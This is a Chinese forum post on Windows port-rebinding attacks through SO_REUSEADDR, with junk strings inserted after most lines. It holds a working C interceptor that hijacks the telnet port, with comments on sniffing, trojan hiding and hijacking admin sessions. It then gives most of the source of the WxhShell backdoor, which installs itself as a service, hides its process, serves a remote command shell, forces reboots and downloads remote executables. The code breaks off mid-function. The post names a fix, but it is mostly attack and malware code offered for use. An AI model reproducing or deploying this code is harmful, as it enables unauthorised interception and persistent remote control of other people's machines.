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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \}_Yd8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O7t(,uox3y  
k+^'?D--'P  
  saddr.sin_family = AF_INET; Xm1[V&  
Ad$n4Ze  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7@}$|u:JUF  
8K9$,Ii  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ucdj4[/,h  
T]T;$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }_ mT l@*  
E7zm{BX]  
  这意味着什么?意味着可以进行如下的攻击: Bi3+)k>u7  
Pw0Ci  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 x3p ND  
aqU' T  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) i/So6jW  
&~e$:8 +  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 oU6y4yO  
r\`+R"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  QK`i%TXJ  
}/P5>F<H[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &PWB,BXv  
nqVZqX@oE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 hsKmnH@#  
V DS23Bo  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )yK[Zb[  
HO)/dZNU  
  #include p&-'|'![l  
  #include '3IC*o"  
  #include @4$\ 5 %j  
  #include    sOCs13A"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Va VN  
  int main() \dQx+f&t  
  { gk[{2HgN  
  WORD wVersionRequested; 6[E|  
  DWORD ret; Zk8|K'oHx  
  WSADATA wsaData; `1OgYs  
  BOOL val; hwN?/5  
  SOCKADDR_IN saddr; r7]zQIE  
  SOCKADDR_IN scaddr; #@@Mxr'F  
  int err; JO<wK  
  SOCKET s; K$K^=> I"o  
  SOCKET sc; )Or  .;  
  int caddsize; K_?W\Yg   
  HANDLE mt; klgy;jSEr  
  DWORD tid;   )}vNOE?X~  
  wVersionRequested = MAKEWORD( 2, 2 ); ps .]N   
  err = WSAStartup( wVersionRequested, &wsaData ); 'J&f%kx"  
  if ( err != 0 ) { v[plT2"s  
  printf("error!WSAStartup failed!\n"); mGUO6>g  
  return -1; m'\2:mDu0  
  } rNjn~c  
  saddr.sin_family = AF_INET; R" )bDy?  
   'bld,Do6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /&F,V+x  
AcI,N~~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); iRg7*MQu  
  saddr.sin_port = htons(23);  z@|GC_L  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;,i]w"*  
  { i wxVl)QL  
  printf("error!socket failed!\n"); ~8"8w(CG*I  
  return -1; ay "'#[  
  } \I"Z2N>^z  
  val = TRUE; R8rfM?"W  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \0lnxLA  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ev7J+TmXM  
  { mWR4|1(  
  printf("error!setsockopt failed!\n"); o9xlu.QL{c  
  return -1; aL J(?8M@  
  } A;\ 7|'4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wC `+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 E0%~! b  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 C2Xd?d  
 (x^BKnZ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \#o2\!@`  
  { I;VuW  
  ret=GetLastError(); ,rJXy_  
  printf("error!bind failed!\n"); A)%A!  
  return -1; [,2|Flf e  
  } bAKiq}xG%i  
  listen(s,2); Ig3;E+*>  
  while(1) Bs?7:kN(  
  { 1]orUF&_  
  caddsize = sizeof(scaddr); 54 >-  
  //接受连接请求 :Mm3 gW)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); zIP6\u  
  if(sc!=INVALID_SOCKET) ,g%&|FAP  
  { btdb%Q*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Z|%_oR~b|  
  if(mt==NULL) J|'7_0OAx  
  { h?bb/T+'  
  printf("Thread Creat Failed!\n"); 6s0_#wZC  
  break; ui(^k $  
  } DjSbyXvrg  
  } @?YRuwp L  
  CloseHandle(mt); vjjSKP6B  
  } k)TSR5A  
  closesocket(s); $Of0n` e  
  WSACleanup(); #j *d^j&  
  return 0; PJ='tJDj  
  }   BD`2l!d  
  DWORD WINAPI ClientThread(LPVOID lpParam) WVY\&|)$  
  { !S&L*OH,  
  SOCKET ss = (SOCKET)lpParam; lFTF ,G  
  SOCKET sc; +3KEzo1=)  
  unsigned char buf[4096]; |&Ym@Jyj  
  SOCKADDR_IN saddr; pv&y91  
  long num; s}N#n(  
  DWORD val; * S=\l@EW  
  DWORD ret; Ur*6Gi6  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =0;^(/1Mc  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   F<!)4>2@  
  saddr.sin_family = AF_INET; /4xki_}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); X/N0LU(q  
  saddr.sin_port = htons(23); Zh_|m#)  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;|UF)QGa2  
  { bQ~j=\[r  
  printf("error!socket failed!\n"); sg+uBCGB  
  return -1; -eX5z  
  } 8T(e.I  
  val = 100; v%fu  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :O(^w}sle  
  { Ot]Ru,y->+  
  ret = GetLastError(); V*W;OiE_ 3  
  return -1; AE} )o)B  
  } U#3J0+!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b, :QT~g=  
  { 1 5A*7|  
  ret = GetLastError(); :UQTEdc{  
  return -1; B, 9w0  
  } ;pnD0bH  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +zy=50,   
  { #lkM=lY'  
  printf("error!socket connect failed!\n"); W^G>cC8.L  
  closesocket(sc); y K"kEA[;  
  closesocket(ss); );FJx~b  
  return -1; YX` 7Hm,  
  } P{u0ftyX}  
  while(1) '3?\K3S4i  
  { 6H'HxB4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 / z}~zO  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Q:5KZm[[  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 VO"("7L  
  num = recv(ss,buf,4096,0); Ntbg`LGf'!  
  if(num>0) -=(!g&0  
  send(sc,buf,num,0); Dq)j:f#QM  
  else if(num==0) z`\F@pX%wC  
  break; |m2X+s9  
  num = recv(sc,buf,4096,0); sVl-N&/  
  if(num>0) f4BnX(1u  
  send(ss,buf,num,0); ;INW`b~  
  else if(num==0) FXs*vg`  
  break; b?Ki;[+O  
  } +=:#wzK@  
  closesocket(ss); u?+Kkkk  
  closesocket(sc); EI^06q4x  
  return 0 ; 3mOtW%Hl  
  } 3YZs+d.;ib  
pZeE61c/  
k68F-e[i^  
========================================================== .B\5OI,]  
FHC \?Cg  
下边附上一个代码,,WXhSHELL $H-!j%hV  
-e8}Pm "  
========================================================== ,dx3zBI  
PK"c4>q  
#include "stdafx.h" w08?DD]CDt  
C[%OkPR,H  
#include <stdio.h> V<j.xd7  
#include <string.h> ,13Lq-  
#include <windows.h> k70|'*Kh  
#include <winsock2.h> $ >EYhLBa  
#include <winsvc.h> MX@_=Sp-  
#include <urlmon.h> l~ M_S<4n  
A7n\h-b  
#pragma comment (lib, "Ws2_32.lib") tQylT0'[+o  
#pragma comment (lib, "urlmon.lib") rs~wv('  
ObiT-D?)g  
#define MAX_USER   100 // 最大客户端连接数 g]c6& Y,#  
#define BUF_SOCK   200 // sock buffer {\(L%\sV@  
#define KEY_BUFF   255 // 输入 buffer ]GRWnif  
3.qTLga|}  
#define REBOOT     0   // 重启 lg b?)=  
#define SHUTDOWN   1   // 关机 3%E74 mOcD  
(x3.poSt  
#define DEF_PORT   5000 // 监听端口 pbU!dOU~e  
Q*b]_0Rb  
#define REG_LEN     16   // 注册表键长度 w.0qp)}  
#define SVC_LEN     80   // NT服务名长度 <^lRUw  
-k"^o!p  
// 从dll定义API }|XtypbL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q^#;WASi  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B|&"#Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EcCFbqS4W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); IqD_GL)Ms  
M-giR:,  
// wxhshell配置信息 AqV7\gdOC  
struct WSCFG { pi ,eIm  
  int ws_port;         // 监听端口 o5Q{/  
  char ws_passstr[REG_LEN]; // 口令 fF V!)Zj  
  int ws_autoins;       // 安装标记, 1=yes 0=no OdB?_.+$  
  char ws_regname[REG_LEN]; // 注册表键名 GO^_=EMR[  
  char ws_svcname[REG_LEN]; // 服务名 ?'<nx{!c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :at$HCaK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zNIsf "  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H V;D?^F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r}jGUe}d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k0Uyf~p~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !H}vu]R  
iV eC=^1  
}; .3MIcj=p  
,Y>Bex_v  
// default Wxhshell configuration 7IjQi=#:  
struct WSCFG wscfg={DEF_PORT, )-`;1ca)s  
    "xuhuanlingzhe", >J>b>SU=-  
    1, yn/rW$  
    "Wxhshell", %,k] [V  
    "Wxhshell", ^)W[l!!<)  
            "WxhShell Service", ()3O=!  
    "Wrsky Windows CmdShell Service", iX4Iu3  
    "Please Input Your Password: ",  z~>pVs  
  1, |K|h+fgG6*  
  "http://www.wrsky.com/wxhshell.exe", g'|MA~4yB  
  "Wxhshell.exe" :P(K2q3  
    }; &Ky_v^  
:"!9_p(,,  
// 消息定义模块 14"J d\M8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ](^(=%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ix(><#P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6O}`i>/6M  
char *msg_ws_ext="\n\rExit."; J|w)&bV  
char *msg_ws_end="\n\rQuit."; m:/ wG& !  
char *msg_ws_boot="\n\rReboot..."; MC { 2X  
char *msg_ws_poff="\n\rShutdown..."; 44F`$.v96  
char *msg_ws_down="\n\rSave to "; Rh>}rGvCUN  
Ey4z.s'-l  
char *msg_ws_err="\n\rErr!"; V@\%)J'g  
char *msg_ws_ok="\n\rOK!"; @`,1:  
-%I2[)F<  
char ExeFile[MAX_PATH]; B0ndcB-  
int nUser = 0; QQV~?iW{~  
HANDLE handles[MAX_USER]; izx#3u$P  
int OsIsNt; 37RLE1Yf  
"|HDGA5  
SERVICE_STATUS       serviceStatus; HuV J\%.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R%c SJ8O#  
XB_B4X1R  
// 函数声明 Jzp#bgq}|  
int Install(void); Nq@+'<@p$  
int Uninstall(void); ~O1&@xX  
int DownloadFile(char *sURL, SOCKET wsh); NZ3/5%We/  
int Boot(int flag); +r<0zh,n.  
void HideProc(void); E]6z8juO6  
int GetOsVer(void); 5T:i9h  
int Wxhshell(SOCKET wsl); &c*^VL\  
void TalkWithClient(void *cs); XZ5 /=z  
int CmdShell(SOCKET sock); qVs\Y3u(  
int StartFromService(void); w$u3W*EoU^  
int StartWxhshell(LPSTR lpCmdLine); B.L]Rk\4  
b?j< BvQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U2%.S&wS,e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "5,   
zdp/|"D!  
// 数据结构和表定义 %:2+ o'  
SERVICE_TABLE_ENTRY DispatchTable[] = _{ZqO;[u  
{ PClMQL#  
{wscfg.ws_svcname, NTServiceMain}, Zt3)]sB  
{NULL, NULL} &RTX6%'KY  
}; z1Ov|Q`  
~D|5u\D-  
// 自我安装 +EAT:,  
int Install(void) Uk,g JR  
{ <3j"&i]Tm*  
  char svExeFile[MAX_PATH]; k{<,\J  
  HKEY key; ;-Jb1"5  
  strcpy(svExeFile,ExeFile); ScSZGs 5&  
ru7RcYRq  
// 如果是win9x系统,修改注册表设为自启动 Dxk+P!!K  
if(!OsIsNt) { B)QHM+[= F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9Fr3pRIJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); po}F6m8bX  
  RegCloseKey(key); 6AWKLFMV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {N#KkYH{"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DSj(]U~r  
  RegCloseKey(key); UYz0PSV=.  
  return 0; 8dlw-Q'S  
    } @e'5E^  
  } RAp=s  
} /P 2[:[w  
else { )<xypDQ  
i:l<C  
// 如果是NT以上系统,安装为系统服务 ":nQgV\ 9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $*W6A/%O  
if (schSCManager!=0) ~M(5Ho  
{ _fwb!T}$  
  SC_HANDLE schService = CreateService h/,${,}J  
  ( JO@|*/mL  
  schSCManager, LE%7DW(  
  wscfg.ws_svcname, _H^^y$+1  
  wscfg.ws_svcdisp, W'on$mB5<  
  SERVICE_ALL_ACCESS, -D^}S"'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Kb^>-[Yx  
  SERVICE_AUTO_START, >[1W:KQA  
  SERVICE_ERROR_NORMAL, 2>l,no39t+  
  svExeFile, ZoB {x*IH  
  NULL, nA~E "*  
  NULL, NzW`B^p  
  NULL, NxLXm,  
  NULL, /CIh2 ]#e  
  NULL XhPe]P  
  ); g%k`  
  if (schService!=0) P(a.iu5   
  { w\19[U3  
  CloseServiceHandle(schService); g5q$A9.Jl  
  CloseServiceHandle(schSCManager); U-^[lWn[@4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tM#lFmdd\P  
  strcat(svExeFile,wscfg.ws_svcname); @;?T~^nGj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dHk{.n^p  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GTJ{h  
  RegCloseKey(key); Gx 72  
  return 0; WW@d:R  
    } rP(eva  
  } !(t,FYeH  
  CloseServiceHandle(schSCManager); ]1gx#y 2  
} YKa0H%B(  
} kHv[H]+v  
<s@-:;9~  
return 1; O,.!2wVrN  
} SI6B#u-i  
[>|FB'  
// 自我卸载 >\!4Mk8  
int Uninstall(void) Bu]t*$  
{ LA[g(i 7  
  HKEY key; jp+_@S>  
Pe2wsR"_U  
if(!OsIsNt) { dr<<!q /  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i7LJ&g/)  
  RegDeleteValue(key,wscfg.ws_regname); cUO<.  
  RegCloseKey(key); {ccIxL /~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7_# 1Ec|;  
  RegDeleteValue(key,wscfg.ws_regname); 4c+$%pq5  
  RegCloseKey(key); ^W7X(LQ*+  
  return 0; **>/}.%?K  
  } X o{`]  
} #*>E*#?t  
} ! <WBCclX  
else { ,Os? f:Y6  
7zTqNnPnf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p*l$Wj  
if (schSCManager!=0) F6hmku>\1  
{ {5|("0[F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |([R'Orm  
  if (schService!=0) /1`cRyS  
  { }!TL2er_  
  if(DeleteService(schService)!=0) { Bg8#qv  
  CloseServiceHandle(schService); z 5]bia,  
  CloseServiceHandle(schSCManager); *{o UWt  
  return 0; =?X$Yaw*  
  } ~l~Tk6EM  
  CloseServiceHandle(schService); B[9 (FRX  
  } PNeh#PI 6)  
  CloseServiceHandle(schSCManager); 0W^dhYO  
} {k(eNr,  
} A*tKF&U5  
u? fTL2~  
return 1; #?B%Ja% ;W  
} N:"C+ a(  
~}DQT>7$  
// 从指定url下载文件 >`jU`bR@  
int DownloadFile(char *sURL, SOCKET wsh) T5O _LCIws  
{ NcM>{{8  
  HRESULT hr; bY~@}gC**@  
char seps[]= "/"; rx:z#"?I  
char *token; 4Tct  
char *file; V|MY!uV  
char myURL[MAX_PATH]; rbqo"g`  
char myFILE[MAX_PATH]; ,LOQDIyn  
N]YtLa,t  
strcpy(myURL,sURL); Jg$xO@.  
  token=strtok(myURL,seps); Ei({`^  
  while(token!=NULL) 23DJV);g8  
  { s0hBbL0DH  
    file=token; Rb}KZ+o "Z  
  token=strtok(NULL,seps); <a le$[  
  } gBk5wk_j|  
EN !?:RV  
GetCurrentDirectory(MAX_PATH,myFILE); !8tS|C#2  
strcat(myFILE, "\\"); insY(.N  
strcat(myFILE, file); +[ .Yy  
  send(wsh,myFILE,strlen(myFILE),0); x6'^4y])  
send(wsh,"...",3,0); q1k{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _w ]4~V9  
  if(hr==S_OK) lnbmoHv  
return 0; 'YSuQP>  
else ;,O fJ'q^  
return 1; ;\%sEcpT  
8X&Ya =  
} "?.~/@  
uM(UO,X  
// 系统电源模块 "zZI S6j  
int Boot(int flag) 3,aN8F1;C  
{ y~<@x.  
  HANDLE hToken; Rn+4DcR  
  TOKEN_PRIVILEGES tkp; 1QJBb \  
7k=fZ$+O  
  if(OsIsNt) { m W`oq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v@EQ^C2.&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yy(A(}  
    tkp.PrivilegeCount = 1; bb=uF1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F#+.>!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ey&aB YR  
if(flag==REBOOT) { HT`1E0G8)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oYM,8 K  
  return 0; >E"9*:.^a  
} G { mC7@  
else { v vE\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `3iQZu i  
  return 0; 1x >iz `A  
} KhM.Tc  
  } :]eb<J  
  else { Bo\D.a(T  
if(flag==REBOOT) { ~S(^T9R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mgkyC5)d  
  return 0; pvXcLR)L+3  
} NyPd5m:  
else { {8NwFN.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eXy"^x p^  
  return 0; XrN- 2HTV  
} B/eaqJ  
} _|,{ ^m|d  
=K$,E4*  
return 1; .]76!(fWZ  
} \3PE+$  
cBEHH4U  
// win9x进程隐藏模块 [6g O  
void HideProc(void) =l`OHTg  
{ W8aU "_  
xRX>|S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >#N[GrJAE  
  if ( hKernel != NULL ) h[=nx^  
  { 6f] rQ9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u.6P-yh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u3ds QU  
    FreeLibrary(hKernel); .2X2b<%)  
  } vD=%`G[m  
 H+cNX\,  
return; D[>W{g $  
} ^9ng)  
2@MN]Low  
// 获取操作系统版本 Jgi Iq  
int GetOsVer(void) (@ ]tG?I=  
{ H=. K  
  OSVERSIONINFO winfo; Hq xK\m%,.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  *W^=XbG  
  GetVersionEx(&winfo); 8B@J Fpg^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \f"?Tv-C'  
  return 1; N8+P  
  else ,k*F`.[  
  return 0; 4MX7=!E  
} x N`T  
$A?}a  
// 客户端句柄模块 En5!"w|j  
int Wxhshell(SOCKET wsl) KU2$5[~j  
{ xv0M  
  SOCKET wsh; 4r*Pa(;y  
  struct sockaddr_in client; 6ojo##j  
  DWORD myID; oCJbkt=  
!Z/$}xxj  
  while(nUser<MAX_USER) H`D f  
{ s)tpr   
  int nSize=sizeof(client); $^Ca: duk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /2h][zrZ[.  
  if(wsh==INVALID_SOCKET) return 1; G?[-cNdk  
BW71 s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .Z5[_'T  
if(handles[nUser]==0) MFTC6L+T  
  closesocket(wsh); qeMv Vf  
else od,tfLw4  
  nUser++; p\+6"28{_~  
  } pF='jj51  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pbdF]>\  
#`j][F@N  
  return 0; ]<X2AO1  
} WF)s*$'uz;  
r~[B _f!  
// 关闭 socket #{w5)|S#JD  
void CloseIt(SOCKET wsh) g8Aj `O  
{ D-iUN  
closesocket(wsh); lJj&kVHb  
nUser--; MOLO3?H(  
ExitThread(0); ji##$xC  
} A`C-sD >  
1"$R 3@s;  
// 客户端请求句柄 tDU}rI8?  
void TalkWithClient(void *cs) ;z0"Ox=7  
{ oeGS  
Bbs5f@E  
  SOCKET wsh=(SOCKET)cs; f+^c@0que  
  char pwd[SVC_LEN]; xOM_R2Md  
  char cmd[KEY_BUFF]; 08io<c,L  
char chr[1]; *+~D+_,  
int i,j; X X&K=<,Ja  
m >hovikY*  
  while (nUser < MAX_USER) { R .UumBM  
k.{G&]r{  
if(wscfg.ws_passstr) { M8Juykw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t 2G1[j!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u#VweXyU  
  //ZeroMemory(pwd,KEY_BUFF); 8GW ut=D  
      i=0; SW=aHM  
  while(i<SVC_LEN) { *2#FRA#q  
P#F_>GB  
  // 设置超时 q]+)c2M  
  fd_set FdRead; i;avwP<0  
  struct timeval TimeOut; S[.5n]  
  FD_ZERO(&FdRead); M1gP R  
  FD_SET(wsh,&FdRead); X{'wWWZC  
  TimeOut.tv_sec=8; &%}6q]e  
  TimeOut.tv_usec=0; X?kPi&ru  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1!f2*m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); x cnt?%%M  
XqX I(q^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s+N^PX3  
  pwd=chr[0]; d v[\.T`LY  
  if(chr[0]==0xd || chr[0]==0xa) { J 5- rp|  
  pwd=0; 3z$HKG  
  break; /evaTQPz  
  } FSVS4mtiX\  
  i++; Hz5;Ruw'  
    } sM0c#YK?  
Kv1vx*>  
  // 如果是非法用户,关闭 socket <]c#)xg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o6/Rx#A  
} .&L^J&V  
^^'[%ok  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9Yd-m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6s&qZ+v-  
{ $X X  
while(1) { Jtpa@!M  
\ bC}&Iz6  
  ZeroMemory(cmd,KEY_BUFF); Kj=;>u  
8`DO[Z  
      // 自动支持客户端 telnet标准   tgK x4  
  j=0; +RdI;QmM  
  while(j<KEY_BUFF) { -t%L#1k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CR.bMF}  
  cmd[j]=chr[0]; `M,Nd'5&|  
  if(chr[0]==0xa || chr[0]==0xd) { xV?*!m$V%R  
  cmd[j]=0; z6Fun  
  break; ]|;7R^o3|  
  } u8xk]:%  
  j++; o\:$V   
    } FE>3 D1\  
v'K % %z  
  // 下载文件 _>;&-e  
  if(strstr(cmd,"http://")) { z?I+u* rF6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Mo~ki"9.  
  if(DownloadFile(cmd,wsh)) /XjN%|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vB=;_=^i 1  
  else Bmmb  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ::0aY ;D2  
  } G^ K*+  
  else { AmgWj/>  
m&,bC)}  
    switch(cmd[0]) { #!wsD7;  
  9N<*S'Z  
  // 帮助 Th_Q owk  
  case '?': { oEN)Dw o  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p|b+I"M  
    break; vT&j{2U7XW  
  } ]DGGcUk7  
  // 安装 EqVsxwa  
  case 'i': { C+T&O  
    if(Install()) qjJ{+Rz2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $+0=GN  
    else lGl[^ 0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S_ZLTcq<1  
    break;  dD:  
    } T4Xtuu1  
  // 卸载 4,gol?a  
  case 'r': { =rtS#u Y  
    if(Uninstall()) yi sF5`+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xGwTk  
    else poTl|y @  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  bkxk i@t  
    break; ?rky6  
    } ]Jja  
  // 显示 wxhshell 所在路径 vU?b"n  
  case 'p': { GJ.kkTMT  
    char svExeFile[MAX_PATH]; OiYNH~hv  
    strcpy(svExeFile,"\n\r"); xq#U 4E  
      strcat(svExeFile,ExeFile); <'yf|N!9G  
        send(wsh,svExeFile,strlen(svExeFile),0); "[#@;{@Gt  
    break; Cc@=?  
    } ]d[Rf$>vu0  
  // 重启 ^).WW  
  case 'b': { (s5<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FLVbkW-G.  
    if(Boot(REBOOT)) pk;ffq@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =X)Q7u".7  
    else { )!'Fa_$ e  
    closesocket(wsh); V h Z=,m  
    ExitThread(0); tZdwy>;  
    } /#:Rd^  
    break; R.91v4 J  
    } ){+.8KI  
  // 关机 S`ax*`  
  case 'd': { hO5K\QnRL  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "PZYgl  
    if(Boot(SHUTDOWN)) | De!ti  
